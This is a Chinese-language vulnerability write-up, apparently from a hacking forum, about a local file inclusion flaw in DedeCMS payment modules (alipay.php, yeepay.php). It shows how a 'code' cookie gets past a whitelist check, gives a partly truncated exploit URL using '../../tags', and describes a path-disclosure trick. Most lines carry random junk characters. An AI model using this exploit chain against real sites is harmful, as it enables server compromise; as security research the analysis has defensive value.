晚餐吃撑了,瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多,赶紧下了套,用editplus搜索了几个关键字,果然发现些问题。(话说平时写代码也喜欢用editplus,小巧方便多年习惯)& W; S) q! n" r- F: i
" d, i6 b8 |$ L
出现漏洞的两个文件为:
1 e3 S+ Q- S7 R4 k! O% wInclude/payment/alipay.php2 }8 B- I. L4 n2 N# @$ u
Include/payment/yeepay.php/ P' J K. l2 |% _5 H# q
漏洞均出现在respond方法里,估计这两个文件是临时工写的。
: R: ?5 S9 _* u$ P) v% b4 f- ^, E% x' T( A
Include/payment/alipay.php
: i7 t2 t/ e# ]; q& g
' f0 a. n, O! Q6 t. W9 B......
3 G' p6 c7 _0 |& r! e) l function respond()
: a+ s* \0 h, l* c4 \5 p c { G( |* f. H$ U
if (!empty($_POST))$ G' x. C; k9 h0 U, C
{
n' [4 E. Y2 O& {. r, O* S foreach($_POST as $key => $data)
% n4 X4 ?! f# A/ v! {& T3 O/ O {
5 C: r, y$ l2 a3 m" i $_GET[$key] = $data;' y: ^9 Q: r% M/ z. t1 r
}9 ~& {' J. g! V: m: S% x* a
}% j3 Y1 f$ p' a! \
/* 引入配置文件 */) ?' i1 M# Y* l8 R$ q8 p! P( [
require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';
9 J9 ]; f, r+ `6 C' ]0 }' k2 p......
: B( U% s' j! j. n" I% B3 N - B0 p0 R+ W6 ~7 Z
V& O- X; W9 e x! y( S2 i8 ^( `大概在133行左右,$_GET[‘code’]没有经过任何判断和过滤。
1 y+ P7 M) H" I
: [5 ?; N7 [/ G" V) p. g' jInclude/payment/yeepay.php
' }! v% ^- |( S
, l! d5 z# G5 B6 _ 7 F$ D" A, S- N" p; t& b" W
% F% Q" U! \6 l2 u( Z# c
......
8 {1 v( N1 J2 J1 F! F9 }' v( ] function respond()
5 Q: @( b! }% z8 |* P1 j {9 i2 ~) [; s% H% n2 y) l0 e& |
# _ L4 Z) c! u l' a) }
/* 引入配置文件 */
% N& i! C3 R7 i: {/ E0 n2 [" T require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';& t& O( q' D; j' O% T2 U. F5 h6 J
) H, r" ?$ U0 C4 R6 f8 i8 w $p1_MerId = trim($payment['yp_account']);0 L2 j0 `% c) [, r
$merchantKey = trim($payment['yp_key']);
6 g4 U, R' o8 N- p......
! ]- c+ P8 J4 H/ S
* n( b9 E# K, l4 K/ M2 \+ C
! K. w9 s) p* g- ^. N$ y1 |* V & O4 d/ k7 Y* J( G- [4 L
# L d1 `% W6 D$ ^4 `* T大概在145行左右,$_REQUEST['code']没有经过任何判断和过滤。
& `8 X$ x$ L* G j. t: t. J" F6 B$ o8 K [6 [+ m
这两个方法在plus/carbuyaction.php文件调用。. x7 C/ H( B3 _
6 Y! f2 Y0 E) G l% `3 J$ s
plus/carbuyaction.php" e, E. z" u8 E& R& B
! g2 u( T x- k: e/ ?. M......
" f, Y* c9 G) Y: m8 D} else if ($dopost == 'return') {
1 B( O, [- G& B8 r $write_list = array('alipay', 'bank', 'cod', 'yeepay');/ I- e- W6 o9 K V: I3 I
if (in_array($code, $write_list))/ s0 @4 w$ Z# I, Y4 C" h3 E
{
; I( O7 R# }* F require_once DEDEINC.'/payment/'.$code.'.php';
T2 N( i" _6 y0 P/ j% R5 ^! Y. j $pay = new $code;& n3 H; h% ~# i& J) T
$msg=$pay->respond();# D" F: a) Z% ?3 K: k. x
ShowMsg($msg, "javascript:;", 0, 3000);
9 |; |1 Q8 j' k0 M( s6 f exit(); 8 r8 U3 |7 {0 f1 j& N
} else {
# U8 s' E6 u( w4 {6 w exit('Error:File Type Can\'t Recognized!');3 s) g/ j6 U0 n9 Y
}- z% t0 w0 d' P7 E- o9 O
}* Y( [8 `. }" r* d2 J8 t
......
5 h( e$ l, u: ^) c* O6 W 6 O5 ^- |6 @. v. X$ B# V* ]
?1 D# r7 C2 Q8 q7 P: I# F( A
$ S* K. |* H3 L- ^# o0 G) f
: |, v( m$ g& B& T, u G
; ?! n4 H" P$ B8 h
# _0 B* a: a' }5 K( G5 L大概在334行,当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。7 U! O% [" ]5 |9 e: A+ z6 v' a/ Y
所以$_GET['code']或$_REQUEST['code']会变成$code,而$code是经过判断的,值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。% @* A6 Y* }1 O% ~* M
1 T7 z4 @' x! n# T, G回到include/common.inc.php来看看他的机制。' ^. N. T, q& D9 U, O' }
( G( p0 _4 f" M5 |
3 H! s- c: j$ `- t0 y" T& _
" s" r0 @4 u& i/ z...... ~( F' l1 Y5 |0 ?9 w! ~: R5 I
foreach(Array('_GET','_POST','_COOKIE') as $_request)
4 K5 l6 W" n- j V5 o$ Q6 F{
0 ~" H" F) o: r* @' L foreach($$_request as $_k => $_v)
: I4 V1 a3 O! R) Q {
. P; p) Q0 C( q5 g( p% [% P0 | if($_k == 'nvarname') ${$_k} = $_v;
' {& P( X/ }/ L2 Y else ${$_k} = _RunMagicQuotes($_v);- W: p0 N. [, D7 R
}( {, c* g; r8 N* z7 [/ Q; \
}
/ Y h3 r$ P, b- _......
) N$ x9 ?; P, U+ g8 {/ Q' x大概在79行,可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿,细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准,而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断,使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:
6 D% g6 }4 @( |9 L {由于bank和cod这两个文件并没有respond方法,所以如果code等于bank或者cod时将会暴错泄露路径。注:请勿非法测试,产生后果与本人无关。 |